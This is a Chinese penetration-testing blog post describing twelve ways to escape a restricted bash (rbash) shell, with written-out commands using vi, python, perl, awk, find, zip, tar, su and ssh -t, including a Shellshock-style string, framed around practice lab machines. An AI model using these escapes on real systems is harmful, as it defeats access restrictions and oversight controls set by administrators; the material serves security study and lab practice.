首页 > 其他分享 >【渗透测试】rbash逃逸的12种方式

【渗透测试】rbash逃逸的12种方式

时间:2024-09-18 15:16:04浏览次数:1  
标签:bin rbash 12 su sh 逃逸 shell bash

简述

什么是rbash?

rbash(The restricted mode of bash),也就是限制型bash;是平时所谓的restricted shell的一种,也就是最常见的restricted shell,它与一般shell的区别在于会限制一些行为,让一些命令无法执行

如何设置?

useradd -s /bin/rbash test # 设置用户test登陆的shell为rbash
mkdir -p /home/test/.bin # 在test用户下新建一个.bin目录存放可以执行的命令

为rbash逃逸做信息收集

1、枚举环境变量

执行envprintenv命令来查看当前的环境变量设置。特别是PATHSHELL变量,它们可能影响到命令的查找和执行。

image-20240821104842115

2、检查可用应用和服务

文本编辑器:如vivimnano等,这些编辑器有时候允许用户执行系统命令。

其他系统工具:如ftpmorelessman等,这些工具在特定情况下也可用于执行命令逃逸

调试工具:如gdb,在某些配置下可能允许用户执行任意代码

3、枚举可用的命令和操作符

命令枚举:检查哪些命令在rbash环境中是可用的。这通常包括一些基本的文件操作命令(如lscatecho等),以及可能未被禁用的系统命令。

操作符枚举:尝试使用重定向操作符(如>>><等)和管道操作符(|),以评估它们是否可用。这些操作符在构建逃逸命令时可能非常有用。

4、检查可用编程语言

python  perl  ruby  php  java等

5、用户和sudo权限

用户权限:了解当前用户的权限范围,包括可以访问哪些文件和目录。

sudo权限:使用sudo -l命令查看当前用户是否有sudo权限以及可以执行哪些命令。这有助于评估是否可以通过sudo命令绕过rbash限制。

常见的逃逸技术

1、”/“字符

如果/字符被允许我们可以直接运行:/bin/bash

2、cp命令

可以直接赋值/bin/bash或者passwd中root的终端目录直接运行

cp /bin/bash test1
cp /bin/sh test2
./test1 # 切换到了/bin/bash
./test2 # 切换到了/bin/sh

图例

3、常见的应用

探测系统中是否存在常见应用

  1. FTP,GDB(调试程序的工具)等。

    执行:ftp> !/bin/sh

    执行:gdb> !/bin/sh

  2. man / git

    执行:man > !/bin/sh

    执行:git > git help status

    image-20240821174423760

    image-20240821174408157

    image-20240821174330505

  3. vi / vim

vi test
:!/bin/sh # 利用vi/vim中可以执行命令的特点

image-20240821160030614

  1. more / less 同上操作
more test_file
!/bin/sh

4、set shell

在一些编辑器中可以设置shell变量然后执行,如vim中

# vim/vi进入之后
:set shell=/bin/sh # 或者用/bin/bash
:shell

# 切换完成之后还要添加环境变量,给$PATH变量增加两个路径,用来查找命令
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

比如DC-2靶机,文章参考-------

5、更改PATH或者Shell环境变量

export查看环境变量

image-20240821161547981

PATH 和 SHELL 变量的权限设置很可能是:r-x ,这就意味着我们只能执行和读取,不能写入。如果有w权限的话,我们可以直接给它写入/bin/bash

6、编程语言

语言可以帮我们切换shell的类型,通常用来升级终端,比如webshell反弹成功之后,我们不能使用su命令,应为它具有交互式(比如输入密码)的操作,这个时候就可以用计算机语言来转换shell的类型,案例参考:

python

python -c "import os;os.system('/bin/bash')"
或者
python -c "import pty;pty.spawn('/bin/bash')"

image-20240821163721712

perl

perl -e "exec '/bin/sh';"

image-20240821163601957

ruby

exec "/bin/sh"

7、su命令

切换用户的时逃逸,这里的原理涉及到susu -的区别:

su命令只会更待当前用户,而不会更改当前的用户环境,比如从root用户在自己的根目录下切换到kali用户,我们当前所处的目录还是root

image-20240821170518955

su -命令,则在更改当前用户信息的同时还会更改用户环境,但如果你从root用户su -到root账户,你会发现你的当前路径已经变为/root/,环境变量也变了

image-20240821171138288

逃逸过程

su -l tw
su - tw
su --login tw

8、ssh登录逃逸

它的原理就是借助-t远程在远程机器上运行脚本

正常登录成功的样子

image-20240821173307732

逃逸成功的样子

image-20240821173242642

命令如下

ssh username@IP -t "/bin/bash" or "/bin/sh"
ssh username@IP -t "bash --noprofile"
ssh username@IP -t "() { :; }; /bin/bash"

注意使用bash --noprofile() { :; }; /bin/bash的时候没有登录成功的提示,以及登录时间之类的

9、awk

超级玛丽靶机

awk 'BEGIN {system("/bin/sh")}'
    或
awk 'BEGIN {system("/bin/bash")}'

10、find

find / -name SomeName -exec /bin/sh \;
find / -name SomeName -exec /bin/bash \;

11、zip

zip demo.zip /data/demo -T --unzip-command="sh -c /bin/bash"

12、tar

tar cf /dev/null  filename  --checkpoint=1 --checkpoint-action=exec=/bin/bash

总结

本文仅以rbash为例进行演示,但这些逃逸技巧同样适用于其他类型的受限shell。值得注意的是,由于不同系统的特性各异,逃逸方式也会存在较大差异。用户安装的git、tar、zip等工具,往往能为我们提供极大的帮助。


image-20240821152514635

标签:bin,rbash,12,su,sh,逃逸,shell,bash
From: https://www.cnblogs.com/xiaoyus/p/18418551

相关文章

  • Android 12 解决自动旋转方向错误
    —a/frameworks/base/services/core/java/com/android/server/wm/WindowOrientationListener.java+++b/frameworks/base/services/core/java/com/android/server/wm/WindowOrientationListener.java@@-34,6+34,7@@importandroid.os.SystemProperties;importandro......
  • Android 12 解决恢复出厂设置中无法执行重置的问题
    —a/packages/apps/Settings/src/com/android/settings/core/SettingsBaseActivity.java+++b/packages/apps/Settings/src/com/android/settings/core/SettingsBaseActivity.java@@-104,14+104,14@@publicclassSettingsBaseActivityextendsFragmentActivityimp......
  • 31263 / 32004 Game Development
    31263/32004GameDevelopmentLabWeek6GettingStarted1.Downloadthecorrespondingweek’szipfilefromthisweek’smoduleonCanvas.2.UnziptheprojectfolderandopenitinUnity.Ifthereareanywarningsaboutdifferenceinversions,justconti......
  • 【数据结构和算法实践-树-LeetCode112-路径总和】
    数据结构和算法实践-树-LeetCode112-路径总和题目MyThought代码示例JAVA-8题目给你二叉树的根节点root和一个表示目标和的整数targetSum。判断该树中是否存在根节点到叶子节点的路径,这条路径上所有节点值相加等于目标和targetSum。如果存在,返回true;否则......
  • Springboot在线问卷调查系统-计算机毕业设计源码12500
    摘要随着信息技术在管理上越来越深入而广泛的应用,管理信息系统的实施在技术上已逐步成熟。本文介绍了在线问卷调查系统的开发全过程。通过分析在线问卷调查系统管理的不足,创建了一个计算机管理在线问卷调查系统的方案。文章介绍了在线问卷调查系统的系统分析部分,包括可行性分......
  • CMS32L051驱动WS2812B全彩灯-PWM+DMA模式
    文章目录概要代码小结概要基于中微CMS32L051驱动WS2812B全彩灯,使用PWM+DMA模式。参照中微的串口uartSendReceive,该例程中有使用DMA进行串口数据的收发。代码main.c/******************************************************************************************......
  • springboot二手书交易系统-计算机毕业设计源码81264
    目录1绪论1.1选题背景与意义1.2国内外研究现状1.3论文结构与章节安排2系统分析2.1可行性分析2.2 系统功能分析2.2.1功能性分析2.2.2非功能性分析2.3 系统用例分析2.4 系统流程分析2.4.1 数据流程2.4.2 业务流程2.5本章小结3 系统总体......
  • GYM 105125 C
    题目描述给定\(NM\)个数\(A_1,A_2,\dots,A_{NM}\),你要将这些数分成\(N\)个数组,每个数组\(M\)个数。接着你要将这些数组按字典序排序。对于排序后每个数组求出可能的字典序最小情况。思路我们从字典序的比较上来考虑,并把\(A\)排序。首先考虑当前数组\(i\)的第一位......
  • Luogu P10812
    题目描述给定一根\(1\)到\(N\)的数轴。一开始有一个棋子在\(N\)。每次棋子\(x\)可以跳到\(x-1,x+1\)或\(x\)的因子处(不能超出\(1\)到\(N\))。每个点只能到达一次。求棋子到达\(1\)的方案数。思路由于求倍数比因子简单,所以把问题变成从\(1\)到\(N\),每次跳倍......
  • 中级练习[12]:Hive SQL
    目录1.按年度列出每个商品销售总额1.1题目需求1.2代码实现2.某周内每件商品每天销售情况2.1题目需求2.2代码实现3.查看每件商品的售价涨幅情况3.1题目需求3.2代码实现1.按年度列出每个商品销售总额1.1题目需求从订单明细表(order_detail)中列出每个商品......